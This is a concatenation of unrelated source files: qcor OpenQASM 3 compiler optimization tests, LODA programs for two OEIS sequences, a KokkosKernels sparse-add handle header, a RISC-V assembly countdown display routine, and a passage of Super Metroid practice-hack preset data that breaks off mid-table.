"__quantum__qis__h"), 4); EXPECT_EQ(countSubstring(llvm, "__quantum__qis__cnot"), 2); } TEST(qasm3PassManagerTester, checkLoopUnrollWithInline) { // Unroll the loop and inline // Trotter decompose // Note: using the inv (adjoint) modifier is not supported // since it is a runtime feature... // hence, we need to make the adjoint explicit. const std::string src = R"#(OPENQASM 3; include "stdgates.inc"; def cnot_ladder() qubit[4]:q { h q[0]; h q[1]; cx q[0], q[1]; cx q[1], q[2]; cx q[2], q[3]; } def cnot_ladder_inv() qubit[4]:q { cx q[2], q[3]; cx q[1], q[2]; cx q[0], q[1]; h q[1]; h q[0]; } qubit q[4]; double theta = 0.01; for i in [0:100] { cnot_ladder q; rz(theta) q[3]; cnot_ladder_inv q; } )#"; auto llvm = qcor::mlir_compile(src, "test_kernel", qcor::OutputType::LLVMIR, false); std::cout << "LLVM:\n" << llvm << "\n"; // Get the main kernel section only llvm = llvm.substr(llvm.find("@__internal_mlir_test_kernel")); const auto last = llvm.find_first_of("}"); llvm = llvm.substr(0, last + 1); std::cout << "LLVM:\n" << llvm << "\n"; // Only a single Rz remains (combine all angles) // 2 Hadamard before + 3 CX before // 2 Hadamard after + 3 CX after EXPECT_EQ(countSubstring(llvm, "__quantum__qis"), 11); EXPECT_EQ(countSubstring(llvm, "__quantum__qis__rz"), 1); EXPECT_EQ(countSubstring(llvm, "__quantum__qis__h"), 4); EXPECT_EQ(countSubstring(llvm, "__quantum__qis__cnot"), 6); } TEST(qasm3PassManagerTester, checkAffineLoopRevert) { // Check loop with negative step: const std::string src = R"#(OPENQASM 3; include "stdgates.inc"; def cnot_ladder() qubit[4]:q { h q; for i in [0:3] { cx q[i], q[i + 1]; } } def cnot_ladder_inv() qubit[4]:q { for i in [3:-1:0] { cx q[i-1], q[i]; } h q; } qubit q[4]; double theta = 0.01; for i in [0:100] { cnot_ladder q; rz(theta) q[3]; cnot_ladder_inv q; } )#"; auto llvm = qcor::mlir_compile(src, "test_kernel", qcor::OutputType::LLVMIR, false); std::cout << "LLVM:\n" << llvm << "\n"; // Get the main kernel section only llvm = llvm.substr(llvm.find("@__internal_mlir_test_kernel")); const auto last = llvm.find_first_of("}"); llvm = llvm.substr(0, last + 1); std::cout << "LLVM:\n" << llvm << "\n"; // Only a single Rz remains (combine all angles) // 4 Hadamard before + 3 CX before // 4 Hadamard after + 3 CX after EXPECT_EQ(countSubstring(llvm, "__quantum__qis"), 15); EXPECT_EQ(countSubstring(llvm, "__quantum__qis__rz"), 1); EXPECT_EQ(countSubstring(llvm, "__quantum__qis__h"), 8); EXPECT_EQ(countSubstring(llvm, "__quantum__qis__cnot"), 6); } TEST(qasm3PassManagerTester, checkQubitArrayAlias) { { // Check SSA value chain with alias // h-t-h == rx (t is equiv. to rz) const std::string src = R"#(OPENQASM 3; include "qelib1.inc"; qubit q[6]; let my_reg = q[1, 3, 5]; h q[1]; t my_reg[0]; h q[1]; )#"; auto llvm = qcor::mlir_compile(src, "test_kernel", qcor::OutputType::LLVMIR, false); std::cout << "LLVM:\n" << llvm << "\n"; // Get the main kernel section only (there is the oracle LLVM section as // well) llvm = llvm.substr(llvm.find("@__internal_mlir_test_kernel")); const auto last = llvm.find_first_of("}"); llvm = llvm.substr(0, last + 1); std::cout << "LLVM:\n" << llvm << "\n"; EXPECT_EQ(countSubstring(llvm, "__quantum__qis"), 1); // One Rx EXPECT_EQ(countSubstring(llvm, "__quantum__qis__rx"), 1); } { // Check optimization can work with alias array const std::string src = R"#(OPENQASM 3; include "qelib1.inc"; qubit q[4]; let first_and_last_qubit = q[0] || q[3]; cx q[0], q[3]; cx first_and_last_qubit[0], first_and_last_qubit[1]; )#"; auto llvm = qcor::mlir_compile(src, "test_kernel", qcor::OutputType::LLVMIR, false); std::cout << "LLVM:\n" << llvm << "\n"; // Get the main kernel section only (there is the oracle LLVM section as // well) llvm = llvm.substr(llvm.find("@__internal_mlir_test_kernel")); const auto last = llvm.find_first_of("}"); llvm = llvm.substr(0, last + 1); std::cout << "LLVM:\n" << llvm << "\n"; // Cancel all => No gates, extract, or alloc/dealloc: EXPECT_EQ(countSubstring(llvm, "__quantum__qis"), 0); // Make sure all runtime (alias construction) functions are removed as well. EXPECT_EQ(countSubstring(llvm, "__quantum__"), 0); } } TEST(qasm3PassManagerTester, checkConstEvalLoopUnroll) { { // Unroll the loop with const vars as loop bounds const std::string src = R"#(OPENQASM 3; include "stdgates.inc"; const n = 3; qubit qb; for i in [0:2*n] { x qb; } )#"; auto llvm = qcor::mlir_compile(src, "test_kernel", qcor::OutputType::LLVMIR, false); std::cout << "LLVM:\n" << llvm << "\n"; // Get the main kernel section only llvm = llvm.substr(llvm.find("@__internal_mlir_test_kernel")); const auto last = llvm.find_first_of("}"); llvm = llvm.substr(0, last + 1); std::cout << "LLVM:\n" << llvm << "\n"; // Cancel all EXPECT_EQ(countSubstring(llvm, "__quantum__qis"), 0); } { // Unroll the loop with const vars as loop bounds const std::string src = R"#(OPENQASM 3; include "stdgates.inc"; const n = 3; qubit qb; for i in [0:2*n + 1] { x qb; } )#"; auto llvm = qcor::mlir_compile(src, "test_kernel1", qcor::OutputType::LLVMIR, false); std::cout << "LLVM:\n" << llvm << "\n"; // Get the main kernel section only llvm = llvm.substr(llvm.find("@__internal_mlir_test_kernel1")); const auto last = llvm.find_first_of("}"); llvm = llvm.substr(0, last + 1); std::cout << "LLVM:\n" << llvm << "\n"; // One X gate left EXPECT_EQ(countSubstring(llvm, "__quantum__qis__x"), 1); } } TEST(qasm3PassManagerTester, checkConditionalBlock) { const std::string src = R"#(OPENQASM 3; include "qelib1.inc"; bit c; qubit q[2]; h q[0]; x q[1]; c = measure q[1]; if (c == 1) { // Always execute: z q[0]; } h q[0]; // This should be: H - Z - H == X // Check that the two H's before and after 'if' // don't connect. // i.e., checking that we don't accidentally cancel the two H gates // => left with Z => measure 0 vs. expected 1. bit d; d = measure q[0]; print("measure =", d); QCOR_EXPECT_TRUE(d == 1); )#"; auto llvm = qcor::mlir_compile(src, "test_kernel1", qcor::OutputType::LLVMIR, false); std::cout << "LLVM:\n" << llvm << "\n"; // Get the main kernel section only llvm = llvm.substr(llvm.find("@__internal_mlir_test_kernel1")); const auto last = llvm.find_first_of("}"); llvm = llvm.substr(0, last + 1); std::cout << "LLVM:\n" << llvm << "\n"; // 2 Hadamard gates, 1 Z gate // (Z gate in the conditional block) EXPECT_EQ(countSubstring(llvm, "__quantum__qis__h"), 2); EXPECT_EQ(countSubstring(llvm, "__quantum__qis__z"), 1); EXPECT_FALSE(qcor::execute(src, "test_kernel1")); } TEST(qasm3PassManagerTester, checkCPhaseMerge) { const std::string qasm_code = R"#(OPENQASM 3; include "qelib1.inc"; // Expected to get 4 bits (iteratively) of 1011 (or 1101 LSB) = 11(decimal): // phi_est = 11/16 (denom = 16 since we have 4 bits) // => phi = 2pi * 11/16 = 11pi/8 = 2pi - 5pi/8 // i.e. we estimate the -5*pi/8 angle... qubit q[2]; const bits_precision = 4; bit c[bits_precision]; // Prepare the eigen-state: |1> x q[1]; // First bit h q[0]; // Controlled rotation: CU^k for i in [0:8] { cphase(-5*pi/8) q[0], q[1]; } h q[0]; // Measure and reset measure q[0] -> c[0]; reset q[0]; // Second bit h q[0]; for i in [0:4] { cphase(-5*pi/8) q[0], q[1]; } // Conditional rotation if (c[0] == 1) { rz(-pi/2) q[0]; } h q[0]; // Measure and reset measure q[0] -> c[1]; reset q[0]; // Third bit h q[0]; for i in [0:2] { cphase(-5*pi/8) q[0], q[1]; } // Conditional rotation if (c[0] == 1) { rz(-pi/4) q[0]; } if (c[1] == 1) { rz(-pi/2) q[0]; } h q[0]; // Measure and reset measure q[0] -> c[2]; reset q[0]; // Fourth bit h q[0]; cphase(-5*pi/8) q[0], q[1]; // Conditional rotation if (c[0] == 1) { rz(-pi/8) q[0]; } if (c[1] == 1) { rz(-pi/4) q[0]; } if (c[2] == 1) { rz(-pi/2) q[0]; } h q[0]; measure q[0] -> c[3]; print(c[0], c[1], c[2], c[3]); QCOR_EXPECT_TRUE(c[0] == 1); QCOR_EXPECT_TRUE(c[1] == 1); QCOR_EXPECT_TRUE(c[2] == 0); QCOR_EXPECT_TRUE(c[3] == 1); )#"; auto llvm = qcor::mlir_compile(qasm_code, "test_kernel1", qcor::OutputType::LLVMIR, false); std::cout << "LLVM:\n" << llvm << "\n"; // Get the main kernel section only llvm = llvm.substr(llvm.find("@__internal_mlir_test_kernel1")); const auto last = llvm.find_first_of("}"); llvm = llvm.substr(0, last + 1); std::cout << "LLVM:\n" << llvm << "\n"; // All CPhase gates in for loops have been unrolled and then merged. EXPECT_EQ(countSubstring(llvm, "__quantum__qis__cphase"), 4); } int main(int argc, char **argv) { ::testing::InitGoogleTest(&argc, argv); auto ret = RUN_ALL_TESTS(); return ret; }
; A060899: Number of walks of length n on square lattice, starting at origin, staying on points with x+y >= 0. ; 1,2,8,24,96,320,1280,4480,17920,64512,258048,946176,3784704,14057472,56229888,210862080,843448320,3186360320,12745441280,48432676864,193730707456,739699064832,2958796259328,11342052327424,45368209309696,174493112729600,697972450918400,2692179453542400,10768717814169600,41639042214789120,166556168859156480,645405154329231360,2581620617316925440,10022762396642181120,40091049586568724480,155909637281100595200,623638549124402380800,2428908033431882956800,9715632133727531827200,37890965321537374126080,151563861286149496504320,591820791688774224445440,2367283166755096897781760,9253925106406287873146880,37015700425625151492587520,144844045143750592797081600,579376180575002371188326400,2269223373918759287154278400,9076893495675037148617113600,35581422503046145622579085312,142325690012184582490316341248,558354630047801054385087184896,2233418520191204217540348739584,8768235671861764705899146903552,35072942687447058823596587614208,137786560557827731092700879912960,551146242231310924370803519651840,2166574883254118806147296594493440,8666299533016475224589186377973760,34087444829864802550050799753363456,136349779319459210200203199013453824,536602357321742698207251299343269888 mov $1,$0 div $1,2 mov $2,2 pow $2,$0 bin $0,$1 mul $0,$2
; A339771: a(n) = Sum_{i=0..n} Sum_{j=0..n} 2^max(i,j). ; 1,7,27,83,227,579,1411,3331,7683,17411,38915,86019,188419,409603,884739,1900547,4063235,8650755,18350083,38797315,81788931,171966467,360710147,754974723,1577058307,3288334339,6845104131,14227079171,29527900163,61203283971 mov $1,$0 lpb $0,1 mul $1,2 add $1,$0 sub $0,1 lpe mul $1,2 add $1,1
/* //@HEADER // ************************************************************************ // // KokkosKernels 0.9: Linear Algebra and Graph Kernels // Copyright 2017 Sandia Corporation // // Under the terms of Contract DE-AC04-94AL85000 with Sandia Corporation, // the U.S. Government retains certain rights in this software. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // // 1. Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // // 2. Redistributions in binary form must reproduce the above copyright // notice, this list of conditions and the following disclaimer in the // documentation and/or other materials provided with the distribution. // // 3. Neither the name of the Corporation nor the names of the // contributors may be used to endorse or promote products derived from // this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY SANDIA CORPORATION "AS IS" AND ANY // EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE // IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR // PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL SANDIA CORPORATION OR THE // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, // EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, // PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR // PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF // LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING // NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS // SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // // Questions? Contact Siva Rajamanickam (srajama@sandia.gov) // // ************************************************************************ //@HEADER */ #include <Kokkos_MemoryTraits.hpp> #include <Kokkos_Core.hpp> #include <iostream> #include <string> #ifndef _SPADDHANDLE_HPP #define _SPADDHANDLE_HPP namespace KokkosSparse{ template <class lno_row_view_t_, class lno_nnz_view_t_, class scalar_nnz_view_t_, class ExecutionSpace, class MemorySpace> class SPADDHandle { public: typedef typename lno_nnz_view_t_::non_const_type nnz_lno_view_t; typedef typename lno_row_view_t_::non_const_type nnz_row_view_t; typedef typename lno_row_view_t_::non_const_value_type size_type; typedef ExecutionSpace execution_space; private: bool input_sorted; size_type result_nnz_size; bool called_symbolic; bool called_numeric; int suggested_vector_size; int suggested_team_size; size_type max_nnz_inresult; //a_pos and b_pos are used by the unsorted version of the kernel //both have same length as a_entries and b_entries //each entry provides the index in C row where the corresponding entry is added nnz_lno_view_t a_pos; nnz_lno_view_t b_pos; public: /** * \brief sets the result nnz size. * \param result_nnz_size: size of the output matrix. */ void set_a_b_pos(nnz_lno_view_t a_pos_in, const nnz_lno_view_t b_pos_in) { a_pos = a_pos_in; b_pos = b_pos_in; } nnz_lno_view_t get_a_pos() { return a_pos; } nnz_lno_view_t get_b_pos() { return b_pos; } /** * \brief sets the result nnz size. * \param result_nnz_size: size of the output matrix. */ void set_c_nnz(size_type result_nnz_size_){ this->result_nnz_size = result_nnz_size_; } /** * \brief returns the result nnz size. */ size_type get_c_nnz(){ return this->result_nnz_size; } void set_sort_option(int option){ this->sort_option = option; } int get_sort_option(){ return this->sort_option; } /** * \brief Default constructor. */ SPADDHandle(bool input_is_sorted) : input_sorted(input_is_sorted), result_nnz_size(0), called_symbolic(false), called_numeric(false), suggested_vector_size(0), suggested_team_size(0), max_nnz_inresult(0) {} virtual ~SPADDHandle() {}; bool is_symbolic_called(){return this->called_symbolic;} bool is_numeric_called(){return this->called_numeric;} size_type get_max_result_nnz() const{ return this->max_nnz_inresult ; } //setters void set_call_symbolic(bool call = true){this->called_symbolic = call;} void set_call_numeric(bool call = true){this->called_numeric = call;} void set_max_result_nnz(size_type num_result_nnz_){ this->max_nnz_inresult = num_result_nnz_; } void vector_team_size( int max_allowed_team_size, int &suggested_vector_size_, int &suggested_team_size_, size_type nr, size_type nnz){ //suggested_team_size_ = this->suggested_team_size = 1; //suggested_vector_size_=this->suggested_vector_size = 1; //return; if (this->suggested_team_size && this->suggested_vector_size) { suggested_vector_size_ = this->suggested_vector_size; suggested_team_size_ = this->suggested_team_size; return; } #if defined( KOKKOS_ENABLE_SERIAL ) if (Kokkos::Impl::is_same< Kokkos::Serial , ExecutionSpace >::value){ suggested_vector_size_ = this->suggested_vector_size = 1; suggested_team_size_ = this->suggested_team_size = max_allowed_team_size; return; } #endif #if defined( KOKKOS_ENABLE_THREADS ) if (Kokkos::Impl::is_same< Kokkos::Threads , ExecutionSpace >::value){ suggested_vector_size_ = this->suggested_vector_size = 1; suggested_team_size_ = this->suggested_team_size = max_allowed_team_size; return; } #endif #if defined( KOKKOS_ENABLE_OPENMP ) if (Kokkos::Impl::is_same< Kokkos::OpenMP, ExecutionSpace >::value){ suggested_vector_size_ = this->suggested_vector_size = 1; suggested_team_size_ = this->suggested_team_size = max_allowed_team_size; } #endif #if defined( KOKKOS_ENABLE_CUDA ) if (Kokkos::Impl::is_same<Kokkos::Cuda, ExecutionSpace >::value){ this->suggested_vector_size = nnz / double (nr) + 0.5; if (this->suggested_vector_size <= 3){ this->suggested_vector_size = 2; } else if (this->suggested_vector_size <= 6){ this->suggested_vector_size = 4; } else if (this->suggested_vector_size <= 12){ this->suggested_vector_size = 8; } else if (this->suggested_vector_size <= 24){ this->suggested_vector_size = 16; } else { this->suggested_vector_size = 32; } suggested_vector_size_ = this->suggested_vector_size; this->suggested_team_size= suggested_team_size_ = max_allowed_team_size / this->suggested_vector_size; } #endif #if defined( KOKKOS_ENABLE_QTHREAD) if (Kokkos::Impl::is_same< Kokkos::Qthread, ExecutionSpace >::value){ suggested_vector_size_ = this->suggested_vector_size = 1; suggested_team_size_ = this->suggested_team_size = max_allowed_team_size; } #endif } bool is_input_sorted() { return input_sorted; } }; } #endif
#a 5 second countdown will be printed to prepare the user for the game .data initialize: .word 0x10040000 #heap base address .text addi sp, sp, -24 sw a0, (sp) sw a7, 4(sp) sw t0, 8(sp) sw t1, 12(sp) sw t2, 16(sp) sw t3, 20(sp) #numbers will be drawn in white countdown_setup: #max value of loop -> first draw white, afterwards delete by drawing same number in black li t3, 2 #load white color li t4, 0xFFFFFF #sleep sycall -> 1 sec between each number li a7, 32 li a0, 500 j draw_five #draws three pixels to the right draw_right: sw t4, (t0) addi t0, t0, 4 sw t4, (t0) addi t0, t0, 4 sw t4, (t0) ret #draws three pixels to the left draw_left: sw t4, (t0) addi t0, t0, -4 sw t4, (t0) addi t0, t0, -4 sw t4, (t0) ret #draws three pixels down draw_down: sw t4, (t0) addi t0, t0, 64 sw t4, (t0) addi t0, t0, 64 sw t4, (t0) ret #draws three pixels up draw_up: sw t4, (t0) addi t0, t0, -64 sw t4, (t0) addi t0, t0, -64 sw t4, (t0) ret draw_five: #heap base address lw t0, initialize #starting position to begin drawing the number addi t0, t0, 160 #path to draw number jal draw_left jal draw_down jal draw_right jal draw_down jal draw_left ecall #load black to delete the number li t4, 0x000000 addi t2, t2, 1 bne t2, t3, draw_five #load white and prepare for drawing the next number li t4, 0xFFFFFF li t2, 0 j draw_four #same procedure as drawing number 5 draw_four: lw t0, initialize addi t0, t0, 152 jal draw_down jal draw_right jal draw_up jal draw_down jal draw_down ecall li t4, 0x000000 addi t2, t2, 1 bne t2, t3, draw_four li t4, 0xFFFFFF li t2, 0 j draw_three #same procedure as drawing number 4 draw_three: lw t0, initialize addi t0, t0, 152 jal draw_right jal draw_down jal draw_left jal draw_right jal draw_down jal draw_left ecall li t4, 0x000000 addi t2, t2, 1 bne t2, t3, draw_three li t4, 0xFFFFFF li t2, 0 j draw_two #same procedure as drawing number 5 draw_two: lw t0, initialize addi t0, t0, 152 jal draw_right jal draw_down jal draw_left jal draw_down jal draw_right ecall li t4, 0x000000 addi t2, t2, 1 bne t2, t3, draw_two li t4, 0xFFFFFF li t2, 0 j draw_one #same procedure as drawing number 5 draw_one: lw t0, initialize addi t0, t0, 160 jal draw_down jal draw_down ecall li t4, 0x000000 addi t2, t2, 1 bne t2, t3, draw_one li t4, 0xFFFFFF li t2, 0 j exit_countdown #necessary for returning to utest utest_return: jalr s4, 4 #exit countdown and jump back to main for starting the actual game or returning to utest exit_countdown: lw a0, (sp) lw a7, 4(sp) lw t0, 8(sp) lw t1, 12(sp) lw t2, 16(sp) lw t3, 20(sp) addi sp, sp, 24 #if a utest is active li s2, 1 beq s2, s3, utest_return #exit to main jalr t6, 4
preset_kpdr21_crateria_ceres_elevator: dw #$0000 dw $078D, $AB58 ; DDB dw $079B, $DF45 ; MDB dw $07F3, $002D ; Music Bank dw $07F5, $0006 ; Music Track dw $090F, $0000 ; Screen subpixel X position dw $0911, $0000 ; Screen X position in pixels dw $0913, $0000 ; Screen subpixel Y position dw $0915, $0000 ; Screen Y position in pixels dw $0917, $0000 ; Layer 2 X position dw $0919, $0000 ; Layer 2 Y position dw $093F, $0000 ; Ceres escape flag dw $09A2, $0000 ; Equipped Items dw $09A4, $0000 ; Collected Items dw $09A6, $0000 ; Beams dw $09A8, $0000 ; Beams dw $09C0, $0000 ; Manual/Auto reserve tank dw $09C2, $0063 ; Health dw $09C4, $0063 ; Max health dw $09C6, $0000 ; Missiles dw $09C8, $0000 ; Max missiles dw $09CA, $0000 ; Supers dw $09CC, $0000 ; Max supers dw $09CE, $0000 ; Pbs dw $09D0, $0000 ; Max pbs dw $09D2, $0000 ; Currently selected item dw $09D4, $0000 ; Max reserves dw $09D6, $0000 ; Reserves dw $0A1C, $0000 ; Samus position/state dw $0A1E, $0000 ; More position/state dw $0A68, $0000 ; Flash suit dw $0A76, $0000 ; Hyper beam dw $0AF6, $0080 ; Samus X dw $0AF8, $0000 ; Samus subpixel X dw $0AFA, $0048 ; Samus Y dw $0AFC, $0000 ; Samus subpixel Y dw $0B3F, $0000 ; Blue suit dw $D820, $0000 ; Events dw $D822, $0000 ; Events dw $D828, $0000 ; Bosses dw $D82A, $0000 ; Bosses dw $D82C, $0000 ; Bosses dw $D82E, $0000 ; Bosses dw $D870, $0000 ; Items dw $D872, $0000 ; Items dw $D874, $0000 ; Items dw $D876, $0000 ; Items dw $D878, $0000 ; Items dw $D87A, $0000 ; Items dw $D87C, $0000 ; Items dw $D87E, $0000 ; Items dw $D880, $0000 ; Items dw $D882, $0000 ; Items dw $D8B0, $0000 ; Doors dw $D8B2, $0000 ; Doors dw $D8B4, $0000 ; Doors dw $D8B6, $0000 ; Doors dw $D8B8, $0000 ; Doors dw $D8BA, $0000 ; Doors dw $D8BC, $0000 ; Doors dw $D8BE, $0000 ; Doors dw $D8C0, $0000 ; Doors dw $D8C2, $0000 ; Doors dw $D8C4, $0000 ; Doors dw $D908, $0000 ; Map Stations dw $D90A, $0000 ; Map Stations dw $D90C, $0000 ; Map Stations dw #$FFFF preset_kpdr21_crateria_ceres_escape: dw #preset_kpdr21_crateria_ceres_elevator ; Crateria: Ceres Elevator dw $078D, $ABAC ; DDB dw $079B, $E0B5 ; MDB dw $07F3, $0024 ; Music Bank dw $07F5, $0007 ; Music Track dw $090F, $8000 ; Screen subpixel X position dw $0913, $9400 ; Screen subpixel Y position dw $093F, $0002 ; Ceres escape flag dw $09C2, $0018 ; Health dw $0A1C, $0002 ; Samus position/state dw $0A1E, $0004 ; More position/state dw $0AF6, $0033 ; Samus X dw $0AF8, $B000 ; Samus subpixel X dw $0AFA, $008B ; Samus Y dw $0AFC, $FFFF ; Samus subpixel Y dw $D82E, $0001 ; Bosses dw #$FFFF preset_kpdr21_crateria_ceres_last_3_rooms: dw #preset_kpdr21_crateria_ceres_escape ; Crateria: Ceres Escape dw $078D, $ABA0 ; DDB dw $079B, $E021 ; MDB dw $090F, $7400 ; Screen subpixel X position dw $0913, $F000 ; Screen subpixel Y position dw $0AF6, $004E ; Samus X dw $0AFA, $00A2 ; Samus Y dw #$FFFF preset_kpdr21_crateria_ship: dw #preset_kpdr21_crateria_ceres_last_3_rooms ; Crateria: Ceres Last 3 Rooms dw $078D, $88FE ; DDB dw $079B, $91F8 ; MDB dw $07F3, $0006 ; Music Bank dw $07F5, $0005 ; Music Track dw $090F, $8000 ; Screen subpixel X position dw $0911, $0400 ; Screen X position in pixels dw $0913, $0000 ; Screen subpixel Y position dw $0915, $0400 ; Screen Y position in pixels dw $0917, $0200 ; Layer 2 X position dw $093F, $0000 ; Ceres escape flag dw $09C2, $0063 ; Health dw $0A1C, $0000 ; Samus position/state dw $0A1E, $0000 ; More position/state dw $0AF6, $0481 ; Samus X dw $0AF8, $0000 ; Samus subpixel X dw $0AFA, $0471 ; Samus Y dw $0AFC, $8000 ; Samus subpixel Y dw #$FFFF preset_kpdr21_crateria_parlor: dw #preset_kpdr21_crateria_ship ; Crateria: Ship dw $090F, $0000 ; Screen subpixel X position dw $0911, $0000 ; Screen X position in pixels dw $0913, $1400 ; Screen subpixel Y position dw $0915, $0400 ; Screen Y position in pixels dw $0917, $0000 ; Layer 2 X position dw $0A1C, $0002 ; Samus position/state dw $0A1E, $0004 ; More position/state dw $0AF6, $0079 ; Samus X dw $0AFA, $049B ; Samus Y dw $0AFC, $FFFF ; Samus subpixel Y dw #$FFFF preset_kpdr21_crateria_parlor_downback: dw #preset_kpdr21_crateria_parlor ; Crateria: Parlor dw $078D, $8916 ; DDB dw $079B, $92FD ; MDB dw $090F, $F000 ; Screen subpixel X position dw $0911, $0100 ; Screen X position in pixels dw $0913, $9C00 ; Screen subpixel Y position dw $0915, $032A ; Screen Y position in pixels dw $0917, $00C0 ; Layer 2 X position dw $0919, $025F ; Layer 2 Y position dw $0AF6, $01B5 ; Samus X dw $0AFA, $039B ; Samus Y dw #$FFFF preset_kpdr21_crateria_climb_down: dw #preset_kpdr21_crateria_parlor_downback ; Crateria: Parlor Downback dw $090F, $3000 ; Screen subpixel X position dw $0913, $4000 ; Screen subpixel Y position dw $0915, $041F ; Screen Y position in pixels dw $0A1C, $0002 ; Samus position/state dw $0A1E, $0004 ; More position/state dw $0919, $0317 ; Layer 2 Y position dw $0AF6, $01A8 ; Samus X dw $0AFA, $04BB ; Samus Y dw #$FFFF preset_kpdr21_crateria_pit_room: dw #preset_kpdr21_crateria_climb_down ; Crateria: Climb Down dw $078D, $898E ; DDB dw $079B, $96BA ; MDB dw $090F, $6FFF ; Screen subpixel X position dw $0913, $3800 ; Screen subpixel Y position dw $0915, $0800 ; Screen Y position in pixels dw $0919, $0600 ; Layer 2 Y position dw $0A1C, $0001 ; Samus position/state dw $0A1E, $0008 ; More position/state dw $0AF6, $01DB ; Samus X dw $0AFA, $088B ; Samus Y dw #$FFFF preset_kpdr21_crateria_morph: dw #preset_kpdr21_crateria_pit_room ; Crateria: Pit Room dw $078D, $8B9E ; DDB dw $079B, $9E9F ; MDB dw $07F5, $0007 ; Music Track dw $090F, $6000 ; Screen subpixel X position dw $0911, $0500 ; Screen X position in pixels dw $0913, $0000 ; Screen subpixel Y position dw $0915, $0200 ; Screen Y position in pixels dw $0917, $03C0 ; Layer 2 X position dw $0919, $0180 ; Layer 2 Y position dw $0A1C, $0000 ; Samus position/state dw $0A1E, $0000 ; More position/state dw $0AF6, $0580 ; Samus X dw $0AFA, $02A8 ; Samus Y dw #$FFFF preset_kpdr21_crateria_construction_zone: dw #preset_kpdr21_crateria_morph ; Crateria: Morph dw $090F, $2000 ; Screen subpixel X position dw $0911, $0700 ; Screen X position in pixels dw $0913, $E400 ; Screen subpixel Y position dw $0917, $0540 ; Layer 2 X position dw $09A2, $0004 ; Equipped Items dw $09A4, $0004 ; Collected Items dw $0A1C, $0001 ; Samus position/state dw $0A1E, $0008 ; More position/state dw $0AF6, $07AC ; Samus X dw $0AFA, $028B ; Samus Y dw $D872, $0400 ; Items dw #$FFFF preset_kpdr21_crateria_construction_zone_revisit: dw #preset_kpdr21_crateria_construction_zone ; Crateria: Construction Zone dw $078D, $8EDA ; DDB dw $079B, $A107 ; MDB dw $090F, $D000 ; Screen subpixel X position dw $0911, $0000 ; Screen X position in pixels dw $0913, $6800 ; Screen subpixel Y position dw $0915, $0000 ; Screen Y position in pixels dw $0917, $0001 ; Layer 2 X position dw $0919, $0000 ; Layer 2 Y position dw $09C6, $0005 ; Missiles dw $09C8, $0005 ; Max missiles dw $0AF6, $0055 ; Samus X dw $0AFA, $008B ; Samus Y dw $D874, $0004 ; Items dw #$FFFF preset_kpdr21_crateria_pit_room_revisit: dw #preset_kpdr21_crateria_construction_zone_revisit ; Crateria: Construction Zone Revisit dw $078D, $8EB6 ; DDB dw $079B, $97B5 ; MDB dw $07F5, $0003 ; Music Track dw $090F, $0000 ; Screen subpixel X position dw $0913, $0000 ; Screen subpixel Y position dw $0917, $0000 ; Layer 2 X position dw $0A1C, $0000 ; Samus position/state dw $0A1E, $0000 ; More position/state dw $0AF6, $0080 ; Samus X dw $0AFA, $0088 ; Samus Y dw #$FFFF preset_kpdr21_crateria_climb_up: dw #preset_kpdr21_crateria_pit_room_revisit ; Crateria: Pit Room Revisit dw $078D, $8B92 ; DDB dw $079B, $975C ; MDB dw $07F3, $0009 ; Music Bank dw $07F5, $0005 ; Music Track dw $090F, $4000 ; Screen subpixel X position dw $0913, $CC00 ; Screen subpixel Y position dw $0A1C, $0002 ; Samus position/state dw $0A1E, $0004 ; More position/state dw $0AF6, $0083 ; Samus X dw $0AFA, $008B ; Samus Y dw $D820, $0001 ; Events dw $D8B2, $0400 ; Doors dw #$FFFF preset_kpdr21_crateria_parlor_revisit: dw #preset_kpdr21_crateria_climb_up ; Crateria: Climb Up dw $078D, $8B7A ; DDB dw $079B, $96BA ; MDB dw $090F, $0000 ; Screen subpixel X position dw $0911, $0100 ; Screen X position in pixels dw $0913, $C000 ; Screen subpixel Y position dw $0917, $00C0 ; Layer 2 X position dw $0AF6, $01A0 ; Samus X dw $0AFA, $005B ; Samus Y dw #$FFFF preset_kpdr21_crateria_flyway: dw #preset_kpdr21_crateria_parlor_revisit ; Crateria: Parlor Revisit dw $078D, $8B3E ; DDB dw $079B, $92FD ; MDB dw $090F, $C000 ; Screen subpixel X position dw $0911, $0300 ; Screen X position in pixels dw $0913, $2BFF ; Screen subpixel Y position dw $0915, $01E6 ; Screen Y position in pixels dw $0917, $0240 ; Layer 2 X position dw $0919, $016C ; Layer 2 Y position dw $0A1C, $0001 ; Samus position/state dw $0A1E, $0008 ; More position/state dw $0AF6, $0369 ; Samus X dw $0AFA, $026B ; Samus Y dw #$FFFF preset_kpdr21_crateria_bomb_torizo: dw #preset_kpdr21_crateria_flyway ; Crateria: Flyway dw $078D, $8982 ; DDB dw $079B, $9879 ; MDB dw $090F, $4000 ; Screen subpixel X position dw $0911, $0200 ; Screen X position in pixels dw $0913, $D000 ; Screen subpixel Y position dw $0915, $0000 ; Screen Y position in pixels dw $0917, $0180 ; Layer 2 X position dw $0919, $0000 ; Layer 2 Y position dw $09C6, $0000 ; Missiles dw $0AF6, $02BE ; Samus X dw $0AFA, $008B ; Samus Y dw $D8B2, $2400 ; Doors dw #$FFFF preset_kpdr21_crateria_alcatraz: dw #preset_kpdr21_crateria_bomb_torizo ; Crateria: Bomb Torizo dw $078D, $8BAA ; DDB dw $090F, $2001 ; Screen subpixel X position dw $0911, $0000 ; Screen X position in pixels dw $0917, $0000 ; Layer 2 X position dw $09A2, $1004 ; Equipped Items dw $09A4, $1004 ; Collected Items dw $09C6, $0005 ; Missiles dw $0A1C, $0002 ; Samus position/state dw $0A1E, $0004 ; More position/state dw $0AF6, $0040 ; Samus X dw 